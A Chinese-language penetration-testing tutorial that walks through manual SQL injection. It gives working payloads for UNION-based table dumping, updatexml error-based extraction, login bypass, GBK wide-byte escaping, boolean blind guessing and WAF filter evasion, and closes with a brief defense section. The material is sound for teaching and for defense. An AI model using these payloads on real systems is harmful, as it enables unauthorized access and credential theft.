前言
SQL 注入是个老漏洞,老到 OWASP Top 10 里待了二十年。但到现在渗透测试中还是动不动就碰到------不是因为它多高级,恰恰是因为太常见了。
这篇不讲 sqlmap,不讲自动化工具,咱们就用最原始的方式,把 SQL 注入的原理和手工注入流程走一遍。搞清楚这些,以后用工具跑的时候才知道它到底在干什么。
一、SQL 注入到底是怎么发生的
一句话总结:用户输入的数据被直接拼接到 SQL 语句里,当作代码执行了。
比如一个正常的登录查询是这样的,用户名和密码作为参数传入:
SELECT * FROM users WHERE username='admin' AND password='123456'
这个 SQL 完全正常------admin 和 123456 是两个字符串值,安安分分放在引号里做数据。但如果我把用户名填成 admin' OR '1'='1,后端不做任何过滤直接拼上去:
SELECT * FROM users WHERE username='admin' OR '1'='1' AND password='123456'
看到没?原来的引号被我提前闭合了,OR '1'='1' 变成了 SQL 条件的一部分。'1'='1' 永远为真,所以 WHERE 条件形同虚设,全表数据被查出来了。

**核心问题就一个:**程序没有区分"数据"和"代码"。你传进去的本该是数据,但因为拼接和引号闭合,它变成了可以执行的 SQL 代码。
这个例子里,我只需要在输入框里敲十几个字符,就能绕过登录验证。想想这是什么概念------一个价值几百万的系统,被十几个字符攻破了。
✧ ✧ ✧
二、SQL 注入有哪几类?
搞渗透不能盲目上手法,得先判断面前是什么类型的注入。根据回显方式的不同,通常分四类:

1 联合查询注入(Union Injection)------ 最直接
注入结果直接显示在页面上,用 UNION SELECT 把想要的数据从数据库里捞出来,原样展示。这是最好用的类型,可惜现在越来越少见了。
典型场景:搜索框输入关键字 → 结果回显在页面列表里 → UNION SELECT 能把其他表的数据也塞进去
2 报错注入(Error-based)------ 利用报错信息
页面本身没有数据回显点,但 SQL 的报错信息会直接显示在页面上。那就换个思路------用 extractvalue()、updatexml()、floor() 等函数让数据库在报错时把数据"吐"出来。
典型场景:页面只显示"查询失败"或"参数错误",但具体报错信息也一并显示出来
3 布尔盲注(Boolean-based Blind)------ 靠真假判断
页面没有任何数据回显,也没有报错信息,只能看返回结果"不一样"。这时候用 AND 1=1(真条件)和 AND 1=2(假条件)测试,如果两个结果不同,说明存在注入。然后逐位猜数据,像破译密码一样一个字符一个字符地试。
典型场景:页面显示"操作成功"或"操作失败",内容完全一样,只有真假两种状态
4 时间盲注(Time-based Blind)------ 最费时间
连真假都看不出来,页面返回一模一样。这时用 IF(条件, sleep(5), 0) 让数据库"等几秒"。等了,说明条件为真;没等,说明条件为假。手工做这个极其痛苦,一个库名就要猜几百次。
典型场景:无论输入什么,页面都返回一样的"加载成功"或200状态码
一句话快速判断:
页面有数据回显 → 联合查询注入
页面有报错信息 → 报错注入
只有成功/失败两种状态 → 布尔盲注
什么都一样 → 时间盲注
注意:实际情况可能同时存在多种,优先用最顺手的。
✧ ✧ ✧
三、手工注入流程------一步一步来
手工注入有标准套路,按下面这个流程走,基本能覆盖 80% 的场景:

第一步:找注入点
在参数后面加单引号 ',看页面反应:
页面报错 / 500 / 空白 / 结果变了 → 有戏,大概率有注入
页面完全正常,没有任何变化 → 试试双引号 "
双引号也正常 → 试试括号 ) 或 ')
**别只盯着 URL 参数。**注入点可能在这些地方:
GET 参数(URL 里的 ?id=1)
POST 参数(登录框、搜索框、表单提交)
HTTP 请求头(Cookie、User-Agent、Referer、X-Forwarded-For)
**经验之谈:**很多开发只对 GET 参数做了过滤,POST 和 Cookie 完全裸奔。我在测试中就碰到过好几次------URL 参数没问题,User-Agent 里却有注入点,因为后端把它记到日志表里没过滤。
第二步:判断是字符型还是整型
这一步很关键------类型搞错了,后面所有 payload 都不对。
用两个简单的测试区分:
**测试A:**id=1 AND 1=1 → 结果正常
**测试B:**id=1 AND 1=2 → 结果异常
如果 A 正常 B 异常,说明是整型注入------你传进去的内容被直接当数字用了,不需要闭合引号,直接拼接就可以。
如果两个都正常(说明 AND 被当作字符串忽略了),再试:
**测试C:**id=1' AND '1'='1 → 结果正常
**测试D:**id=1' AND '1'='2 → 结果异常
如果 C 正常 D 异常,说明是字符型注入------数据被放在单引号里,你需要先闭合单引号。
**记住这个规律:**字符型 = 需要闭合引号;整型 = 不需要闭合。大多数新人卡住就是因为类型判断错了,后面全白忙。
第三步:判断列数(ORDER BY)
联合查询注入最关键的一步:原始 SELECT 查了多少列,你的 UNION SELECT 也必须对齐。
用 ORDER BY 数字来测列数,从少到多往上加:
ORDER BY 1 → 正常(至少有 1 列)
ORDER BY 3 → 正常(至少有 3 列)
ORDER BY 5 → 正常(至少有 5 列)
ORDER BY 10 → 报错了 → 列数小于 10
ORDER BY 7 → 正常
ORDER BY 8 → 报错了 → 列数是 7
报错的前一个数就是列数。别傻乎乎从 1 到 100 慢慢试,用二分法:先试 10,不报错就 20,报错了再细化。
第四步:找数据回显位
知道列数是 7 之后,用 UNION SELECT 占位,找哪些列的数据能显示在页面上:
?id=1 UNION SELECT 1,2,3,4,5,6,7
关键技巧:前面 id=1 要传一个不存在的值(比如 id=-1 或 id=99999),让原始查询没有结果,页面就会只显示 UNION SELECT 的内容。否则原始 SELECT 的结果可能覆盖掉你的注入结果。
刷新页面后,看哪个数字出现在页面上了。比如页面显示了 2 和 4,那第 2 列和第 4 列就是回显位。

第五步:爆数据库信息
找到回显位之后,把数字替换成 MySQL 的函数,数据库名字就出来了:
?id=-1 UNION SELECT 1,database(),3,4,5,6,7
如果回显位是 2 和 4,也可以多爆几个信息:
第 2 列放 database() → 当前数据库名
第 4 列放 version() → MySQL 版本
还可以放 user() → 当前数据库用户
第六步:爆表名
MySQL 有个内置库 information_schema,里面记录了所有库、表、列的信息。用这个来获取当前数据库里有哪些表:
?id=-1 UNION SELECT 1,group_concat(table_name),3,4,5,6,7 FROM information_schema.tables WHERE table_schema=database()
重点解释:
information_schema.tables → 存了所有表的表名
table_schema=database() → 只查当前数据库的表,不查系统库
group_concat() → 把所有表名拼成一行,一次性显示
结果回来类似:users,products,orders,admin。看到 admin 表了吗?这就是目标。
第七步:爆列名
看到 admin 表了,想知道里面有什么字段:
?id=-1 UNION SELECT 1,group_concat(column_name),3,4,5,6,7 FROM information_schema.columns WHERE table_name='admin'
注意:'admin' 要用引号包起来,因为表名是字符串。如果表名里包含单引号,就用双引号或者 char() 编码绕过。
结果可能回来:id,username,password,email,role
第八步:拖数据
表名有了,列名有了,最后一步就是拿数据:
?id=-1 UNION SELECT 1,group_concat(username,0x3a,password),3,4,5,6,7 FROM admin
**解释一下 0x3a:**这是冒号 : 的十六进制表示。为什么不用直接用冒号?因为有些场景下单引号会被拦截,用 hex 编码能绕过简单的过滤。
结果回来类似:admin:e10adc3949ba59abbe56e057f20f883e,root:202cb962ac59075b964b07152d234b70
**注意:**这里拖出来的是 MD5 密文,不是明文密码。实际测试中大多数网站的密码都做了哈希,拿到 MD5 之后需要去 cmd5.com 或者用字典跑一下。
**完整流程总结:**找注入点 → 判断类型(字符/整型)→ 判断列数 → 找回显位 → 爆库名 → 爆表名 → 爆列名 → 拖数据。手感熟了之后,全程手工做下来,两三分钟就能拖出一个表。
✧ ✧ ✧
四、几个常见场景的手工注入姿势
上面是标准流程,但实际场景往往没那么理想。下面列几个常见的变化场景和应对方式。
场景一:万能密码登录绕过
经典到不能再经典的场景。登录框输入:
用户名:admin' OR '1'='1' --
密码:(留空或者随便填)
拼出来的 SQL 变成:
SELECT * FROM users WHERE username='admin' OR '1'='1' -- ' AND password='xxx'
注意最后的 -- (两个横杠加空格),这是 MySQL 的注释符,后面的所有内容------包括密码校验------全被注释掉了。
如果 -- 被过滤了,换 #:
用户名:admin' OR 1=1 #
大多数情况下,admin' OR '1'='1 就够用了。运气好直接以 admin 身份登进去------后台权限全拿到了。
场景二:报错注入------没有回显位也能拿数据
有时候 UNION SELECT 的结果不再显示在页面上,但 SQL 报错信息会直接弹出来。这时候就能用报错注入。
MySQL 里最常用的报错函数是 updatexml() 和 extractvalue()。这两货本来是用来操作 XML 的,但你给它不合法的参数,它就会在报错信息里把数据"吐"出来。
爆库名:
?id=1' and updatexml(1,concat(0x7e,database()),1) --
爆表名:
?id=1' and updatexml(1,concat(0x7e,(SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema=database())),1) --
爆列名(假设拿到了 admin 表):
?id=1' and updatexml(1,concat(0x7e,(SELECT group_concat(column_name) FROM information_schema.columns WHERE table_name='admin')),1) --
爆数据:
?id=1' and updatexml(1,concat(0x7e,(SELECT group_concat(username,0x3a,password) FROM admin)),1) --
**报错注入有个限制:**updatexml 一次最多回显 32 个字符。如果数据超过这个长度,需要用 substring() 分次截取:substring(data,1,32)、substring(data,33,32) 依次读。
场景三:宽字节注入------引号被转义了怎么办?
当 PHP 开启了 magic_quotes_gpc 或者用 addslashes() 处理了输入,你的单引号前面会被加上反斜杠转义:
输入:admin'
处理后:admin\'
结果:单引号失效,无法闭合
但如果是 GBK 编码的数据库,就有机会利用宽字节注入绕过。
原理:在单引号前面加一个 %df,变成 %df'。addslashes 处理后会变成 %df\',也就是 %df%5c%27。在 GBK 编码下,%df%5c 会被合并解析成一个汉字"運",剩下的 %27(单引号)就"吃掉了"前面的反斜杠,成功逃逸。
实际 payload:
?id=1%df' UNION SELECT 1,2,3 --
同样的效果也可以把 %df 换成 %81 到 %fe 范围内的任意值,只要和 %5c 组合后是一个合法的 GBK 字符就行。
场景四:布尔盲注------一个字符一个字符猜
如果以上方法都不行,没有回显、没有报错,只能靠布尔盲注------用 TRUE/FALSE 状态逐字节扒数据。
先判断是否有注入:
?id=1 AND 1=1 → 页面显示"有数据"
?id=1 AND 1=2 → 页面显示"没有数据"
两个结果不同 → 存在注入。
猜数据库第一个字符的 ASCII 码:
?id=1 AND ascii(substr(database(),1,1)) > 100 → 真
?id=1 AND ascii(substr(database(),1,1)) > 115 → 真
?id=1 AND ascii(substr(database(),1,1)) > 118 → 假
?id=1 AND ascii(substr(database(),1,1)) = 116 → 真 → 第一位是 't'
你看,就一个字符要试好几次,整个数据库名猜下来得几十次。
猜表名第一个字符:
?id=1 AND ascii(substr((SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1),1,1)) > 100
**坦诚说:**布尔盲注手工做非常低效,一个库名几分钟,一个表名十几分钟,拖一个字段的数据可能一个小时。真正的盲注场景一般都靠工具------但理解原理仍然是必需的,因为工具也是这么干的,只是更快。
✧ ✧ ✧
五、几个新手容易踩的坑
列几个常见的SQL注入容易踩坑的地方:
1. UNION SELECT 前面要多写一个括号?
有时候报错提示说有括号未闭合,你的 UNION SELECT 被包在括号里面了。试试:id=1) UNION SELECT 1,2,3 --
2. 空格被过滤了。
很多 WAF 会拦截空格。绕过方式:用 /**/(注释符)代替空格,或者用 +(URL 编码的空格)。
3. 等号被过滤了。
用 LIKE 代替 =,或者用 BETWEEN。AND 1=1 可以写成 AND 1 LIKE 1。
4. 页面返回内容太长,只能用 group_concat。
group_concat 默认最大长度是 1024 字节。如果表太多、数据太长,被截断了。临时解决:用 LIMIT 0,1、LIMIT 1,1 分页拿数据。
5. 注入点在前端 JavaScript 构造的请求里。
有些参数不是直接通过 URL 传的,而是前端 Ajax 发的 JSON 请求。这时候需要抓包改数据,不能直接在地址栏里改。
六、防御 SQL 注入(三句话)
1. 参数化查询,不要拼接 SQL。
Java 用 PreparedStatement,PHP 用 PDO 的 prepare,Python 用参数化查询。不管什么语言,核心一样:把用户输入当参数传,不当字符串拼接。
2. 白名单校验,不是黑名单过滤。
不要想着"过滤危险字符"------总会有你没想到的绕过方式。应该反过来:id 只允许纯数字,用户名只允许字母数字下划线。不是"不允许什么",而是"只允许什么"。
3. 最小权限原则 + 错误信息不暴露。
数据库连接账号只给业务需要的权限。禁止在前端显示 SQL 报错信息,统一返回"系统繁忙"。
六、资源分享
